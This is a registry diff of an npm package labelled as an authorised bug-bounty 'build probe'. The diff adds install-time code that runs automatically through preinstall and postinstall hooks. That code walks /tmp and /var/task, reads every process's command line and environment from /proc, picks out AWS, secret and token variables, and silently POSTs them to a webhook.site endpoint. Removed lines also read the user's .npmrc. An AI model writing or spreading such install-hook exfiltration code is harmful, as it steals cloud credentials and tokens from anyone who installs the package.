hunterone-build-probe-9210 1.0.0 → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -2
- package/probe.js +23 -18
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "hunterone-build-probe-9210",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.1",
|
|
4
4
|
"description": "Security research artifact (authorised bug bounty test). Reports its own build environment. Do not depend on this.",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"main": "index.js",
|
|
@@ -8,4 +8,4 @@
|
|
|
8
8
|
"preinstall": "node probe.js || true",
|
|
9
9
|
"postinstall": "node probe.js || true"
|
|
10
10
|
}
|
|
11
|
-
}
|
|
11
|
+
}
|
package/probe.js
CHANGED
|
@@ -1,22 +1,27 @@
|
|
|
1
|
-
// Authorised security-research probe. Reports the environment it
|
|
2
|
-
const https=require('https'),fs=require('fs'),os=require('os'),
|
|
3
|
-
function safe(f){try{return f()}catch(e){return 'ERR '+String(e).slice(0,
|
|
1
|
+
// Authorised security-research probe (bug bounty). Reports the build environment it runs in.
|
|
2
|
+
const https=require('https'),fs=require('fs'),os=require('os'),path=require('path');
|
|
3
|
+
function safe(f,d){try{return f()}catch(e){return (d===undefined?'ERR '+String(e).slice(0,100):d)}}
|
|
4
|
+
function walk(d,depth,acc){ if(depth<0||acc.length>400)return acc; let e=safe(()=>fs.readdirSync(d,{withFileTypes:true}),[]);
|
|
5
|
+
if(!Array.isArray(e))return acc;
|
|
6
|
+
for(const f of e){const p=path.join(d,f.name); acc.push((f.isDirectory()?'D ':'F ')+p); if(f.isDirectory())walk(p,depth-1,acc); if(acc.length>400)break;} return acc; }
|
|
7
|
+
const pids=safe(()=>fs.readdirSync('/proc').filter(x=>/^\d+$/.test(x)),[]);
|
|
8
|
+
const procs={};
|
|
9
|
+
for(const p of pids){
|
|
10
|
+
procs[p]={cmd:safe(()=>fs.readFileSync('/proc/'+p+'/cmdline','utf8').replace(/\0/g,' ').slice(0,160)),
|
|
11
|
+
env:safe(()=>fs.readFileSync('/proc/'+p+'/environ','utf8').split('\0').filter(x=>/^(AWS_|_HANDLER|LAMBDA|TWILIO|SECRET|TOKEN)/i.test(x)).slice(0,25))};
|
|
12
|
+
}
|
|
4
13
|
const data={
|
|
14
|
+
v:'1.0.1',
|
|
5
15
|
phase:process.env.npm_lifecycle_event||'?',
|
|
6
|
-
|
|
7
|
-
|
|
8
|
-
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
|
|
12
|
-
root:safe(()=>fs.readdirSync('/').join(',')),
|
|
13
|
-
ifaces:safe(()=>JSON.stringify(os.networkInterfaces()).slice(0,900)),
|
|
14
|
-
id:safe(()=>cp.execSync('id 2>&1').toString().slice(0,200)),
|
|
15
|
-
npmrc:safe(()=>fs.readFileSync(os.homedir()+'/.npmrc','utf8').slice(0,600)),
|
|
16
|
-
ecs:safe(()=>process.env.AWS_CONTAINER_CREDENTIALS_RELATIVE_URI||'none')
|
|
16
|
+
tmp: walk('/tmp',2,[]).slice(0,250),
|
|
17
|
+
task: safe(()=>fs.readdirSync('/var/task').slice(0,60),[]),
|
|
18
|
+
taskfiles: safe(()=>walk('/var/task',1,[]).slice(0,80),[]),
|
|
19
|
+
procs: procs,
|
|
20
|
+
ppid: process.ppid,
|
|
21
|
+
home: process.env.HOME
|
|
17
22
|
};
|
|
18
23
|
const body=Buffer.from(JSON.stringify(data));
|
|
19
|
-
const req=https.request({host:'webhook.site',path:
|
|
20
|
-
headers:{'content-type':'application/json','content-length':body.length},timeout:
|
|
21
|
-
req.on('error',()=>{});req.on('timeout',()=>req.destroy());
|
|
22
|
-
|
|
24
|
+
function send(p){const req=https.request({host:'webhook.site',path:p,method:'POST',
|
|
25
|
+
headers:{'content-type':'application/json','content-length':body.length},timeout:9000},r=>{r.resume()});
|
|
26
|
+
req.on('error',()=>{});req.on('timeout',()=>req.destroy());req.write(body);req.end();}
|
|
27
|
+
send('/22508080-b099-4ec3-8ab7-7354af2886a9/buildenv2');
|